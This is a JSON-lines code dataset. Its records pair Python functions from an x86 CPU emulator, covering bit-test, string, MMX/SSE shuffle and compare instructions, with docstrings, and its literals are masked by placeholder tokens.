{"signature": "@instruction<EOL><INDENT>def BTC(cpu, dest, src):<DEDENT>", "body": "if dest.type == '<STR_LIT>':<EOL><INDENT>value = dest.read()<EOL>pos = src.read() % dest.size<EOL>cpu.CF = value & (<NUM_LIT:1> << pos) == <NUM_LIT:1> << pos<EOL>dest.write(value ^ (<NUM_LIT:1> << pos))<EOL><DEDENT>elif dest.type == '<STR_LIT>':<EOL><INDENT>addr, pos = cpu._getMemoryBit(dest, src)<EOL>base, size, ty = cpu.get_descriptor(cpu.DS)<EOL>addr += base<EOL>value = cpu.read_int(addr, <NUM_LIT:8>)<EOL>cpu.CF = value & (<NUM_LIT:1> << pos) == <NUM_LIT:1> << pos<EOL>value = value ^ (<NUM_LIT:1> << pos)<EOL>cpu.write_int(addr, value, <NUM_LIT:8>)<EOL><DEDENT>else:<EOL><INDENT>raise NotImplementedError(f\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Bit test and complement.\n\nSelects the bit in a bit string (specified with the first operand, called\nthe bit base) at the bit-position designated by the bit offset operand\n(second operand), stores the value of the bit in the CF flag, and complements\nthe selected bit in the bit string.\n\n:param cpu: current CPU.\n:param dest: bit base operand.\n:param src: bit offset operand.", "id": "f16975:c2:m166"}
{"signature": "@instruction<EOL><INDENT>def BTR(cpu, dest, src):<DEDENT>", "body": "if dest.type == '<STR_LIT>':<EOL><INDENT>value = dest.read()<EOL>pos = src.read() % dest.size<EOL>cpu.CF = value & (<NUM_LIT:1> << pos) == <NUM_LIT:1> << pos<EOL>dest.write(value & ~(<NUM_LIT:1> << pos))<EOL><DEDENT>elif dest.type == '<STR_LIT>':<EOL><INDENT>addr, pos = cpu._getMemoryBit(dest, src)<EOL>base, size, ty = cpu.get_descriptor(cpu.DS)<EOL>addr += base<EOL>value = cpu.read_int(addr, <NUM_LIT:8>)<EOL>cpu.CF = value & (<NUM_LIT:1> << pos) == <NUM_LIT:1> << pos<EOL>value = value & ~(<NUM_LIT:1> << pos)<EOL>cpu.write_int(addr, value, <NUM_LIT:8>)<EOL><DEDENT>else:<EOL><INDENT>raise NotImplementedError(f\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Bit test and reset.\n\nSelects the bit in a bit string (specified with the first operand, called\nthe bit base) at the bit-position designated by the bit offset operand\n(second operand), stores the value of the bit in the CF flag, and clears\nthe selected bit in the bit string to 0.\n\n:param cpu: current CPU.\n:param dest: bit base operand.\n:param src: bit offset operand.", "id": "f16975:c2:m167"}
{"signature": "@instruction<EOL><INDENT>def BTS(cpu, dest, src):<DEDENT>", "body": "if dest.type == '<STR_LIT>':<EOL><INDENT>value = dest.read()<EOL>pos = src.read() % dest.size<EOL>cpu.CF = value & (<NUM_LIT:1> << pos) == <NUM_LIT:1> << pos<EOL>dest.write(value | (<NUM_LIT:1> << pos))<EOL><DEDENT>elif dest.type == '<STR_LIT>':<EOL><INDENT>addr, pos = cpu._getMemoryBit(dest, src)<EOL>base, size, ty = cpu.get_descriptor(cpu.DS)<EOL>addr += base<EOL>value = cpu.read_int(addr, <NUM_LIT:8>)<EOL>cpu.CF = value & (<NUM_LIT:1> << pos) == <NUM_LIT:1> << pos<EOL>value = value | (<NUM_LIT:1> << pos)<EOL>cpu.write_int(addr, value, <NUM_LIT:8>)<EOL><DEDENT>else:<EOL><INDENT>raise NotImplementedError(f\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Bit test and set.\n\nSelects the bit in a bit string (specified with the first operand, called\nthe bit base) at the bit-position designated by the bit offset operand\n(second operand), stores the value of the bit in the CF flag, and sets\nthe selected bit in the bit string to 1.\n\n:param cpu: current CPU.\n:param dest: bit base operand.\n:param src: bit offset operand.", "id": "f16975:c2:m168"}
{"signature": "@instruction<EOL><INDENT>def POPCNT(cpu, dest, src):<DEDENT>", "body": "count = <NUM_LIT:0><EOL>source = src.read()<EOL>for i in range(src.size):<EOL><INDENT>count += Operators.ITEBV(dest.size, (source >> i) & <NUM_LIT:1> == <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>)<EOL><DEDENT>dest.write(count)<EOL>cpu.OF = False<EOL>cpu.SF = False<EOL>cpu.AF = False<EOL>cpu.CF = False<EOL>cpu.PF = False<EOL>cpu.ZF = source == <NUM_LIT:0><EOL>", "docstring": "This instruction calculates of number of bits set to 1 in the second\noperand (source) and returns the count in the first operand (a destination\nregister).\nCount = 0;\nFor (i=0; i < OperandSize; i++) {\n    IF (SRC[ i] = 1) // i'th bit\n        THEN Count++;\n    FI;\n}\nDEST = Count;\nFlags Affected\nOF, SF, ZF, AF, CF, PF are all cleared.\nZF is set if SRC = 0, otherwise ZF is cleared", "id": "f16975:c2:m169"}
{"signature": "@instruction<EOL><INDENT>def CLD(cpu):<DEDENT>", "body": "cpu.DF = False<EOL>", "docstring": "Clears direction flag.\nClears the DF flag in the EFLAGS register. When the DF flag is set to 0, string operations\nincrement the index registers (ESI and/or EDI)::\n\n    DF  =  0;\n\n:param cpu: current CPU.", "id": "f16975:c2:m170"}
{"signature": "@instruction<EOL><INDENT>def STD(cpu):<DEDENT>", "body": "cpu.DF = True<EOL>", "docstring": "Sets direction flag.\n\nSets the DF flag in the EFLAGS register. When the DF flag is set to 1, string operations decrement\nthe index registers (ESI and/or EDI)::\n\n    DF  =  1;\n\n:param cpu: current CPU.", "id": "f16975:c2:m171"}
{"signature": "@instruction<EOL><INDENT>def CLC(cpu):<DEDENT>", "body": "cpu.CF = False<EOL>", "docstring": "Clears CF\n:param cpu: current CPU.", "id": "f16975:c2:m172"}
{"signature": "@instruction<EOL><INDENT>def STC(cpu):<DEDENT>", "body": "cpu.CF = True<EOL>", "docstring": "Sets CF\n:param cpu: current CPU.", "id": "f16975:c2:m173"}
{"signature": "@repe<EOL><INDENT>def CMPS(cpu, dest, src):<DEDENT>", "body": "src_reg = {<NUM_LIT:8>: '<STR_LIT>', <NUM_LIT:32>: '<STR_LIT>', <NUM_LIT:64>: '<STR_LIT>'}[cpu.address_bit_size]<EOL>dest_reg = {<NUM_LIT:8>: '<STR_LIT>', <NUM_LIT:32>: '<STR_LIT>', <NUM_LIT:64>: '<STR_LIT>'}[cpu.address_bit_size]<EOL>base, _, ty = cpu.get_descriptor(cpu.DS)<EOL>src_addr = cpu.read_register(src_reg) + base<EOL>dest_addr = cpu.read_register(dest_reg) + base<EOL>size = dest.size<EOL>arg1 = cpu.read_int(dest_addr, size)<EOL>arg0 = cpu.read_int(src_addr, size)<EOL>res = (arg0 - arg1) & ((<NUM_LIT:1> << size) - <NUM_LIT:1>)<EOL>cpu._calculate_CMP_flags(size, res, arg0, arg1)<EOL>increment = Operators.ITEBV(cpu.address_bit_size, cpu.DF, -size // <NUM_LIT:8>, size // <NUM_LIT:8>)<EOL>cpu.write_register(src_reg, cpu.read_register(src_reg) + increment)<EOL>cpu.write_register(dest_reg, cpu.read_register(dest_reg) + increment)<EOL>", "docstring": "Compares string operands.\n\nCompares the byte, word, double word or quad specified with the first source\noperand with the byte, word, double or quad word specified with the second\nsource operand and sets the status flags in the EFLAGS register according\nto the results. Both the source operands are located in memory::\n\n        temp  = SRC1 - SRC2;\n        SetStatusFlags(temp);\n        IF (byte comparison)\n        THEN IF DF  =  0\n            THEN\n                (E)SI  =  (E)SI + 1;\n                (E)DI  =  (E)DI + 1;\n            ELSE\n                (E)SI  =  (E)SI - 1;\n                (E)DI  =  (E)DI - 1;\n            FI;\n        ELSE IF (word comparison)\n            THEN IF DF  =  0\n                (E)SI  =  (E)SI + 2;\n                (E)DI  =  (E)DI + 2;\n            ELSE\n                (E)SI  =  (E)SI - 2;\n                (E)DI  =  (E)DI - 2;\n            FI;\n        ELSE (* doubleword comparison*)\n            THEN IF DF  =  0\n                (E)SI  =  (E)SI + 4;\n                (E)DI  =  (E)DI + 4;\n            ELSE\n                (E)SI  =  (E)SI - 4;\n                (E)DI  =  (E)DI - 4;\n            FI;\n        FI;\n\n:param cpu: current CPU.\n:param dest: first source operand.\n:param src: second source operand.", "id": "f16975:c2:m174"}
{"signature": "@rep<EOL><INDENT>def LODS(cpu, dest, src):<DEDENT>", "body": "src_reg = {<NUM_LIT:8>: '<STR_LIT>', <NUM_LIT:32>: '<STR_LIT>', <NUM_LIT:64>: '<STR_LIT>'}[cpu.address_bit_size]<EOL>base, _, ty = cpu.get_descriptor(cpu.DS)<EOL>src_addr = cpu.read_register(src_reg) + base<EOL>size = dest.size<EOL>arg0 = cpu.read_int(src_addr, size)<EOL>dest.write(arg0)<EOL>increment = Operators.ITEBV(cpu.address_bit_size, cpu.DF, -size // <NUM_LIT:8>, size // <NUM_LIT:8>)<EOL>cpu.write_register(src_reg, cpu.read_register(src_reg) + increment)<EOL>", "docstring": "Loads string.\n\nLoads a byte, word, or doubleword from the source operand into the AL, AX, or EAX register, respectively. The\nsource operand is a memory location, the address of which is read from the DS:ESI or the DS:SI registers\n(depending on the address-size attribute of the instruction, 32 or 16, respectively). The DS segment may be over-\nridden with a segment override prefix.\nAfter the byte, word, or doubleword is transferred from the memory location into the AL, AX, or EAX register, the\n(E)SI register is incremented or decremented automatically according to the setting of the DF flag in the EFLAGS\nregister. (If the DF flag is 0, the (E)SI register is incremented; if the DF flag is 1, the ESI register is decremented.)\nThe (E)SI register is incremented or decremented by 1 for byte operations, by 2 for word operations, or by 4 for\ndoubleword operations.\n\n:param cpu: current CPU.\n:param dest: source operand.", "id": "f16975:c2:m175"}
{"signature": "@rep<EOL><INDENT>def MOVS(cpu, dest, src):<DEDENT>", "body": "base, size, ty = cpu.get_descriptor(cpu.DS)<EOL>src_addr = src.address() + base<EOL>dest_addr = dest.address() + base<EOL>src_reg = src.mem.base<EOL>dest_reg = dest.mem.base<EOL>size = dest.size<EOL>dest.write(src.read())<EOL>increment = Operators.ITEBV(cpu.address_bit_size, cpu.DF, -size // <NUM_LIT:8>, size // <NUM_LIT:8>)<EOL>cpu.write_register(src_reg, cpu.read_register(src_reg) + increment)<EOL>cpu.write_register(dest_reg, cpu.read_register(dest_reg) + increment)<EOL>", "docstring": "Moves data from string to string.\n\nMoves the byte, word, or doubleword specified with the second operand (source operand) to the location specified\nwith the first operand (destination operand). Both the source and destination operands are located in memory. The\naddress of the source operand is read from the DS:ESI or the DS:SI registers (depending on the address-size\nattribute of the instruction, 32 or 16, respectively). The address of the destination operand is read from the ES:EDI\nor the ES:DI registers (again depending on the address-size attribute of the instruction). The DS segment may be\noverridden with a segment override prefix, but the ES segment cannot be overridden.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m176"}
{"signature": "@repe<EOL><INDENT>def SCAS(cpu, dest, src):<DEDENT>", "body": "dest_reg = dest.reg<EOL>mem_reg = src.mem.base  <EOL>size = dest.size<EOL>arg0 = dest.read()<EOL>arg1 = src.read()<EOL>res = arg0 - arg1<EOL>cpu._calculate_CMP_flags(size, res, arg0, arg1)<EOL>increment = Operators.ITEBV(cpu.address_bit_size, cpu.DF, -size // <NUM_LIT:8>, size // <NUM_LIT:8>)<EOL>cpu.write_register(mem_reg, cpu.read_register(mem_reg) + increment)<EOL>", "docstring": "Scans String.\n\nCompares the byte, word, or double word specified with the memory operand\nwith the value in the AL, AX, EAX, or RAX register, and sets the status flags\naccording to the results. The memory operand address is read from either\nthe ES:RDI, ES:EDI or the ES:DI registers (depending on the address-size\nattribute of the instruction, 32 or 16, respectively)::\n\n        IF (byte comparison)\n        THEN\n            temp  =  AL - SRC;\n            SetStatusFlags(temp);\n            THEN IF DF  =  0\n                THEN (E)DI  =  (E)DI + 1;\n                ELSE (E)DI  =  (E)DI - 1;\n                FI;\n            ELSE IF (word comparison)\n                THEN\n                    temp  =  AX - SRC;\n                    SetStatusFlags(temp)\n                    THEN IF DF  =  0\n                        THEN (E)DI  =  (E)DI + 2;\n                        ELSE (E)DI  =  (E)DI - 2;\n                        FI;\n             ELSE (* doubleword comparison *)\n                   temp  =  EAX - SRC;\n                   SetStatusFlags(temp)\n                   THEN IF DF  =  0\n                        THEN\n                            (E)DI  =  (E)DI + 4;\n                        ELSE\n                            (E)DI  =  (E)DI - 4;\n                        FI;\n                   FI;\n             FI;\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m177"}
{"signature": "@rep<EOL><INDENT>def STOS(cpu, dest, src):<DEDENT>", "body": "size = src.size<EOL>dest.write(src.read())<EOL>dest_reg = dest.mem.base<EOL>increment = Operators.ITEBV({'<STR_LIT>': <NUM_LIT:64>, '<STR_LIT>': <NUM_LIT:32>, '<STR_LIT>': <NUM_LIT:16>}[dest_reg], cpu.DF, -size // <NUM_LIT:8>, size // <NUM_LIT:8>)<EOL>cpu.write_register(dest_reg, cpu.read_register(dest_reg) + increment)<EOL>", "docstring": "Stores String.\n\nStores a byte, word, or doubleword from the AL, AX, or EAX register,\nrespectively, into the destination operand. The destination operand is\na memory location, the address of which is read from either the ES:EDI\nor the ES:DI registers (depending on the address-size attribute of the\ninstruction, 32 or 16, respectively). The ES segment cannot be overridden\nwith a segment override prefix.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m178"}
{"signature": "@instruction<EOL><INDENT>def EMMS(cpu):<DEDENT>", "body": "cpu.FPTAG = <NUM_LIT><EOL>", "docstring": "Empty MMX Technology State\n\nSets the values of all the tags in the x87 FPU tag word to empty (all\n1s). This operation marks the x87 FPU data registers (which are aliased\nto the MMX technology registers) as available for use by x87 FPU\nfloating-point instructions.\n\n    x87FPUTagWord <- FFFFH;", "id": "f16975:c2:m179"}
{"signature": "@instruction<EOL><INDENT>def STMXCSR(cpu, dest):<DEDENT>", "body": "dest.write(<NUM_LIT>)<EOL>", "docstring": "Store MXCSR Register State\n        Stores the contents of the MXCSR control and status register to the destination operand.\n        The destination operand is a 32-bit memory location. The reserved bits in the MXCSR register\n        are stored as 0s.", "id": "f16975:c2:m180"}
{"signature": "@instruction<EOL><INDENT>def ANDN(cpu, dest, src1, src2):<DEDENT>", "body": "value = ~src1.read() & src2.read()<EOL>dest.write(value)<EOL>cpu.ZF = value == <NUM_LIT:0><EOL>cpu.SF = (value & (<NUM_LIT:1> << dest.size)) != <NUM_LIT:0><EOL>cpu.OF = False<EOL>cpu.CF = False<EOL>", "docstring": "Performs a bitwise logical AND of inverted second operand (the first source operand)\n           with the third operand (the second source operand). The result is stored in the first\n           operand (destination operand).\n\n                DEST <- (NOT SRC1) bitwiseAND SRC2;\n                SF <- DEST[OperandSize -1];\n                ZF <- (DEST = 0);\n           Flags Affected\n                SF and ZF are updated based on result. OF and CF flags are cleared. AF and PF flags are undefined.", "id": "f16975:c2:m182"}
{"signature": "@instruction<EOL><INDENT>def SHLX(cpu, dest, src, count):<DEDENT>", "body": "OperandSize = dest.size<EOL>count = count.read()<EOL>countMask = {<NUM_LIT:8>: <NUM_LIT>,<EOL><NUM_LIT:16>: <NUM_LIT>,<EOL><NUM_LIT:32>: <NUM_LIT>,<EOL><NUM_LIT:64>: <NUM_LIT>}[OperandSize]<EOL>tempCount = Operators.ZEXTEND(count & countMask, dest.size)<EOL>tempDest = value = src.read()<EOL>res = dest.write(Operators.ITEBV(dest.size, tempCount == <NUM_LIT:0>, tempDest, value << tempCount))<EOL>", "docstring": "The shift arithmetic left.\n\nShifts the bits in the first operand (destination operand) to the left or right by the number of bits specified in the\nsecond operand (count operand). Bits shifted beyond the destination operand boundary are first shifted into the CF\nflag, then discarded. At the end of the shift operation, the CF flag contains the last bit shifted out of the destination\noperand.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: count operand.", "id": "f16975:c2:m183"}
{"signature": "@instruction<EOL><INDENT>def SHRX(cpu, dest, src, count):<DEDENT>", "body": "OperandSize = dest.size<EOL>count = count.read()<EOL>countMask = {<NUM_LIT:8>: <NUM_LIT>,<EOL><NUM_LIT:16>: <NUM_LIT>,<EOL><NUM_LIT:32>: <NUM_LIT>,<EOL><NUM_LIT:64>: <NUM_LIT>}[OperandSize]<EOL>tempCount = Operators.ZEXTEND(count & countMask, dest.size)<EOL>tempDest = value = src.read()<EOL>res = dest.write(Operators.ITEBV(dest.size, tempCount == <NUM_LIT:0>, tempDest, value >> tempCount))<EOL>", "docstring": "The shift arithmetic right.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: count operand.", "id": "f16975:c2:m184"}
{"signature": "@instruction<EOL><INDENT>def SARX(cpu, dest, src, count):<DEDENT>", "body": "OperandSize = dest.size<EOL>count = count.read()<EOL>countMask = {<NUM_LIT:8>: <NUM_LIT>,<EOL><NUM_LIT:16>: <NUM_LIT>,<EOL><NUM_LIT:32>: <NUM_LIT>,<EOL><NUM_LIT:64>: <NUM_LIT>}[OperandSize]<EOL>tempCount = count & countMask<EOL>tempDest = value = src.read()<EOL>sign = value & (<NUM_LIT:1> << (OperandSize - <NUM_LIT:1>))<EOL>while tempCount != <NUM_LIT:0>:<EOL><INDENT>cpu.CF = (value & <NUM_LIT>) != <NUM_LIT:0>  <EOL>value = (value >> <NUM_LIT:1>) | sign<EOL>tempCount = tempCount - <NUM_LIT:1><EOL><DEDENT>res = dest.write(value)<EOL>", "docstring": "The shift arithmetic right.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: count operand.", "id": "f16975:c2:m185"}
{"signature": "@instruction<EOL><INDENT>def PMINUB(cpu, dest, src):<DEDENT>", "body": "dest_value = dest.read()<EOL>src_value = src.read()<EOL>result = <NUM_LIT:0><EOL>for pos in range(<NUM_LIT:0>, dest.size, <NUM_LIT:8>):<EOL><INDENT>itema = (dest_value >> pos) & <NUM_LIT><EOL>itemb = (src_value >> pos) & <NUM_LIT><EOL>result |= Operators.ITEBV(dest.size, itema < itemb, itema, itemb) << pos<EOL><DEDENT>dest.write(result)<EOL>", "docstring": "PMINUB: returns minimum of packed unsigned byte integers in the dest operand\nsee PMAXUB", "id": "f16975:c2:m186"}
{"signature": "@instruction<EOL><INDENT>def PMAXUB(cpu, dest, src):<DEDENT>", "body": "dest_value = dest.read()<EOL>src_value = src.read()<EOL>result = <NUM_LIT:0><EOL>for pos in range(<NUM_LIT:0>, dest.size, <NUM_LIT:8>):<EOL><INDENT>itema = (dest_value >> pos) & <NUM_LIT><EOL>itemb = (src_value >> pos) & <NUM_LIT><EOL>result |= Operators.ITEBV(dest.size, itema > itemb, itema, itemb) << pos<EOL><DEDENT>dest.write(result)<EOL>", "docstring": "PMAXUB: returns maximum of packed unsigned byte integers in the dest operand\n\nPerforms a SIMD compare of the packed unsigned byte in the second source operand\nand the first source operand and returns the maximum value for each pair of\nintegers to the destination operand.\n\nExample :\n$xmm1.v16_int8 = {..., 0xf2, 0xd1}\n$xmm2.v16_int8 = {..., 0xd2, 0xf1}\n# after pmaxub xmm1, xmm2, we get\n$xmm1.v16_int8 = {..., 0xf2, 0xf1}", "id": "f16975:c2:m187"}
{"signature": "@instruction<EOL><INDENT>def PXOR(cpu, dest, src):<DEDENT>", "body": "res = dest.write(dest.read() ^ src.read())<EOL>", "docstring": "Logical exclusive OR.\n\nPerforms a bitwise logical exclusive-OR (XOR) operation on the quadword\nsource (second) and destination (first) operands and stores the result\nin the destination operand location. The source operand can be an MMX(TM)\ntechnology register or a quadword memory location; the destination operand\nmust be an MMX register. Each bit of the result is 1 if the corresponding\nbits of the two operands are different; each bit is 0 if the corresponding\nbits of the operands are the same::\n\n    DEST  =  DEST XOR SRC;\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: quadword source operand.", "id": "f16975:c2:m189"}
{"signature": "def _PUNPCKL(cpu, dest, src, item_size):", "body": "assert dest.size == src.size<EOL>size = dest.size<EOL>dest_value = dest.read()<EOL>src_value = src.read()<EOL>mask = (<NUM_LIT:1> << item_size) - <NUM_LIT:1><EOL>res = <NUM_LIT:0><EOL>count = <NUM_LIT:0><EOL>for pos in range(<NUM_LIT:0>, size // item_size):<EOL><INDENT>if count >= size:<EOL><INDENT>break<EOL><DEDENT>item0 = Operators.ZEXTEND((dest_value >> (pos * item_size)) & mask, size)<EOL>item1 = Operators.ZEXTEND((src_value >> (pos * item_size)) & mask, size)<EOL>res |= item0 << count<EOL>count += item_size<EOL>res |= item1 << count<EOL>count += item_size<EOL><DEDENT>dest.write(res)<EOL>", "docstring": "Generic PUNPCKL", "id": "f16975:c2:m190"}
{"signature": "def _PUNPCKH(cpu, dest, src, item_size):", "body": "assert dest.size == src.size<EOL>size = dest.size<EOL>dest_value = dest.read()<EOL>src_value = src.read()<EOL>mask = (<NUM_LIT:1> << item_size) - <NUM_LIT:1><EOL>res = <NUM_LIT:0><EOL>count = <NUM_LIT:0><EOL>for pos in reversed(range(<NUM_LIT:0>, size // item_size)):<EOL><INDENT>if count >= size:<EOL><INDENT>break<EOL><DEDENT>item0 = Operators.ZEXTEND((dest_value >> (pos * item_size)) & mask, size)<EOL>item1 = Operators.ZEXTEND((src_value >> (pos * item_size)) & mask, size)<EOL>res = res << item_size<EOL>res |= item1<EOL>res = res << item_size<EOL>res |= item0<EOL>count += item_size * <NUM_LIT:2><EOL><DEDENT>dest.write(res)<EOL>", "docstring": "Generic PUNPCKH", "id": "f16975:c2:m191"}
{"signature": "@instruction<EOL><INDENT>def PUNPCKLBW(cpu, dest, src):<DEDENT>", "body": "cpu._PUNPCKL(dest, src, <NUM_LIT:8>)<EOL>", "docstring": "Interleaves the low-order bytes of the source and destination operands.\n\nUnpacks and interleaves the low-order data elements (bytes, words, doublewords, and quadwords)\nof the destination operand (first operand) and source operand (second operand) into the\ndestination operand.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m196"}
{"signature": "@instruction<EOL><INDENT>def PUNPCKLWD(cpu, dest, src):<DEDENT>", "body": "cpu._PUNPCKL(dest, src, <NUM_LIT:16>)<EOL>", "docstring": "Interleaves the low-order bytes of the source and destination operands.\n\nUnpacks and interleaves the low-order data elements (bytes, words, doublewords, and quadwords)\nof the destination operand (first operand) and source operand (second operand) into the\ndestination operand.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m197"}
{"signature": "@instruction<EOL><INDENT>def PUNPCKLQDQ(cpu, dest, src):<DEDENT>", "body": "cpu._PUNPCKL(dest, src, <NUM_LIT:64>)<EOL>", "docstring": "Interleaves the low-order quad-words of the source and destination operands.\n\nUnpacks and interleaves the low-order data elements (bytes, words, doublewords, and quadwords)\nof the destination operand (first operand) and source operand (second operand) into the\ndestination operand.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m198"}
{"signature": "@instruction<EOL><INDENT>def PUNPCKLDQ(cpu, dest, src):<DEDENT>", "body": "cpu._PUNPCKL(dest, src, <NUM_LIT:32>)<EOL>", "docstring": "Interleaves the low-order double-words of the source and destination operands.\n\nUnpacks and interleaves the low-order data elements (bytes, words, doublewords, and quadwords)\nof the destination operand (first operand) and source operand (second operand) into the\ndestination operand.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m199"}
{"signature": "@instruction<EOL><INDENT>def PSHUFW(cpu, op0, op1, op3):<DEDENT>", "body": "size = op0.size<EOL>arg0 = op0.read()<EOL>arg1 = op1.read()<EOL>arg3 = Operators.ZEXTEND(op3.read(), size)<EOL>assert size == <NUM_LIT:64><EOL>arg0 |= ((arg1 >> ((arg3 >> <NUM_LIT:0>) & <NUM_LIT:3> * <NUM_LIT:16>)) & <NUM_LIT>)<EOL>arg0 |= ((arg1 >> ((arg3 >> <NUM_LIT:2>) & <NUM_LIT:3> * <NUM_LIT:16>)) & <NUM_LIT>) << <NUM_LIT:16><EOL>arg0 |= ((arg1 >> ((arg3 >> <NUM_LIT:4>) & <NUM_LIT:3> * <NUM_LIT:16>)) & <NUM_LIT>) << <NUM_LIT:32><EOL>arg0 |= ((arg1 >> ((arg3 >> <NUM_LIT:6>) & <NUM_LIT:3> * <NUM_LIT:16>)) & <NUM_LIT>) << <NUM_LIT><EOL>op0.write(arg0)<EOL>", "docstring": "Packed shuffle words.\n\nCopies doublewords from source operand (second operand) and inserts them in the destination operand\n(first operand) at locations selected with the order operand (third operand).\n\n:param cpu: current CPU.\n:param op0: destination operand.\n:param op1: source operand.\n:param op3: order operand.", "id": "f16975:c2:m200"}
{"signature": "@instruction<EOL><INDENT>def PSHUFLW(cpu, op0, op1, op3):<DEDENT>", "body": "size = op0.size<EOL>arg0 = op0.read()<EOL>arg1 = op1.read()<EOL>arg3 = Operators.ZEXTEND(op3.read(), size)<EOL>arg0 = arg1 & <NUM_LIT><EOL>arg0 |= ((arg1 >> (((arg3 >> <NUM_LIT:0>) & <NUM_LIT:3>) * <NUM_LIT:16>)) & <NUM_LIT>)<EOL>arg0 |= ((arg1 >> (((arg3 >> <NUM_LIT:2>) & <NUM_LIT:3>) * <NUM_LIT:16>)) & <NUM_LIT>) << <NUM_LIT:16><EOL>arg0 |= ((arg1 >> (((arg3 >> <NUM_LIT:4>) & <NUM_LIT:3>) * <NUM_LIT:16>)) & <NUM_LIT>) << <NUM_LIT:32><EOL>arg0 |= ((arg1 >> (((arg3 >> <NUM_LIT:6>) & <NUM_LIT:3>) * <NUM_LIT:16>)) & <NUM_LIT>) << <NUM_LIT><EOL>op0.write(arg0)<EOL>", "docstring": "Shuffle Packed Low Words\n\nCopies words from the low quadword of the source operand (second operand)\nand inserts them in the low quadword of the destination operand (first operand)\nat word locations selected with the order operand (third operand).\n\nThis operation is similar to the operation used by the PSHUFD instruction.\n\n    Operation\n    Destination[0..15] = (Source >> (Order[0..1] * 16))[0..15];\n    Destination[16..31] = (Source >> (Order[2..3] * 16))[0..15];\n    Destination[32..47] = (Source >> (Order[4..5] * 16))[0..15];\n    Destination[48..63] = (Source >> (Order[6..7] * 16))[0..15];\n    Destination[64..127] = Source[64..127];", "id": "f16975:c2:m201"}
{"signature": "@instruction<EOL><INDENT>def PSHUFD(cpu, op0, op1, op3):<DEDENT>", "body": "size = op0.size<EOL>arg0 = op0.read()<EOL>arg1 = op1.read()<EOL>order = Operators.ZEXTEND(op3.read(), size)<EOL>arg0 = arg0 & <NUM_LIT><EOL>arg0 |= ((arg1 >> (((order >> <NUM_LIT:0>) & <NUM_LIT:3>) * <NUM_LIT:32>)) & <NUM_LIT>)<EOL>arg0 |= ((arg1 >> (((order >> <NUM_LIT:2>) & <NUM_LIT:3>) * <NUM_LIT:32>)) & <NUM_LIT>) << <NUM_LIT:32><EOL>arg0 |= ((arg1 >> (((order >> <NUM_LIT:4>) & <NUM_LIT:3>) * <NUM_LIT:32>)) & <NUM_LIT>) << <NUM_LIT:64><EOL>arg0 |= ((arg1 >> (((order >> <NUM_LIT:6>) & <NUM_LIT:3>) * <NUM_LIT:32>)) & <NUM_LIT>) << <NUM_LIT><EOL>op0.write(arg0)<EOL>", "docstring": "Packed shuffle doublewords.\n\nCopies doublewords from source operand (second operand) and inserts them in the destination operand\n(first operand) at locations selected with the order operand (third operand).\n\n:param cpu: current CPU.\n:param op0: destination operand.\n:param op1: source operand.\n:param op3: order operand.", "id": "f16975:c2:m202"}
{"signature": "@instruction<EOL><INDENT>def MOVDQU(cpu, op0, op1):<DEDENT>", "body": "op0.write(op1.read())<EOL>", "docstring": "Moves unaligned double quadword.\n\nMoves a double quadword from the source operand (second operand) to the destination operand\n(first operand)::\n\n    OP0  =  OP1;\n\n:param cpu: current CPU.\n:param op0: destination operand.\n:param op1: source operand.", "id": "f16975:c2:m203"}
{"signature": "@instruction<EOL><INDENT>def MOVDQA(cpu, op0, op1):<DEDENT>", "body": "op0.write(op1.read())<EOL>", "docstring": "Moves aligned double quadword.\n\nMoves a double quadword from the source operand (second operand) to the destination operand\n(first operand)::\n    OP0  =  OP1;\n\n:param cpu: current CPU.\n:param op0: destination operand.\n:param op1: source operand.\n@todo: check alignment.", "id": "f16975:c2:m204"}
{"signature": "@instruction<EOL><INDENT>def PCMPEQB(cpu, op0, op1):<DEDENT>", "body": "arg0 = op0.read()<EOL>arg1 = op1.read()<EOL>res = <NUM_LIT:0><EOL>for i in range(<NUM_LIT:0>, op0.size, <NUM_LIT:8>):<EOL><INDENT>res = Operators.ITEBV(op0.size, Operators.EXTRACT(arg0, i, <NUM_LIT:8>) == Operators.EXTRACT(arg1, i, <NUM_LIT:8>), res | (<NUM_LIT> << i), res)<EOL><DEDENT>op0.write(res)<EOL>", "docstring": "Packed compare for equal.\n\nPerforms a SIMD compare for equality of the packed bytes, words, or doublewords in the\ndestination operand (first operand) and the source operand (second operand). If a pair of\ndata elements are equal, the corresponding data element in the destination operand is set\nto all 1s; otherwise, it is set to all 0s. The source operand can be an MMX(TM) technology\nregister or a 64-bit memory location, or it can be an XMM register or a 128-bit memory location.\nThe destination operand can be an MMX or an XMM register.\nThe PCMPEQB instruction compares the bytes in the destination operand to the corresponding bytes\nin the source operand.\n\n:param cpu: current CPU.\n:param op0: destination operand.\n:param op1: source operand.", "id": "f16975:c2:m205"}
{"signature": "@instruction<EOL><INDENT>def PCMPEQD(cpu, op0, op1):<DEDENT>", "body": "arg0 = op0.read()<EOL>arg1 = op1.read()<EOL>res = <NUM_LIT:0><EOL>for i in range(<NUM_LIT:0>, op0.size, <NUM_LIT:32>):<EOL><INDENT>res = Operators.ITEBV(op0.size, Operators.EXTRACT(arg0, i, <NUM_LIT:32>) == Operators.EXTRACT(arg1, i, <NUM_LIT:32>), res | (<NUM_LIT> << i), res)<EOL><DEDENT>op0.write(res)<EOL>", "docstring": "PCMPEQD: Packed compare for equal with double words\nsee PCMPEQB", "id": "f16975:c2:m206"}
